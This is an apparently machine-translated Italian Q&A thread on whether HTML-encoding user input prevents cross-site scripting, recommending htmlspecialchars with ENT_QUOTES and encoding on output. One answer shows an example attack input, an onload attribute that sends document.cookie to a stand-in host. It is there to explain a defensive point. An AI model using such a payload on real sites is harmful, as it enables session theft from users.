2010-01-22 8 views

risposta

16

dipende molto dal contesto.

Partenza questo esempio, da un sito tipico forum ...

Puoi hotlink l'immagine avatar. Inserisci l'URL completo.

utente malintenzionato entra nel campo di immissione

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

v'è alcuna codifica non inferiore e superiore, ma ancora un grosso buco di sicurezza.

Con htmlspecialchars(), ho trovato una buona idea creare (o utilizzare) una funzione wrapper di esso che esegue il cast su una stringa, fornisce un modo più semplice per disabilitare la doppia codifica (se necessario) e assicurarsi che stia usando il corretto set di caratteri della tua applicazione. Kohana ha un great example.

+0

Ciao, Grazie a tutti per le risposte, ho chiesto questo perché penso entiting tutti i personaggi richiede più spazio nel database. grazie – Ryan

+10

Non vorrei codificare andando nel db, ma la codifica che esce. Generalmente è una buona idea conservare i dati utente "così come sono" e fornire alcuni meccanismi per renderli sicuri. – alex

+0

Sono assolutamente d'accordo con l'approccio keep-it-raw-until-it-hits-the-page, tuttavia vorrei fortemente sconsigliare "disabilitare il double quoting" perché mangerà le tue stringhe. Ad esempio, se voglio dire "&" in un post che parla di HTML come questo, l'opzione non riuscirà a fuggire a '& amp;' nel sorgente e di conseguenza apparirà come solo '&' sullo schermo , facendomi sembrare un idiota. La codifica è un processo, non uno stato. – bobince

6

Si dovrebbe anche prendere doublequotes ", l'apostrofo ' e ampersands & in considerazione. Se lo fai tutto il durante il visualizzazione/generazione dell'output, allora sì, è sufficiente.

Si dovrebbe solo assicurarsi che si esegue questa operazione per qualsiasi input dell'utente-controllato, come parametri di richiesta, URL, le intestazioni e input dell'utente controllato che è stata conservata in un archivio dati.

In PHP è possibile farlo con htmlspecialchars() e in JSP cou può farlo con JSTL <c:out>.

+2

Nota ' htmlspecialchars' per impostazione predefinita esegue l'escape solo della doppiaquota, non del singolo. Ma di solito è OK, dato che è piuttosto raro usare la virgoletta singola come delimitatore di attributo. Usa 'ENT_QUOTES' per essere sicuro di averli entrambi. – bobince

Problemi correlati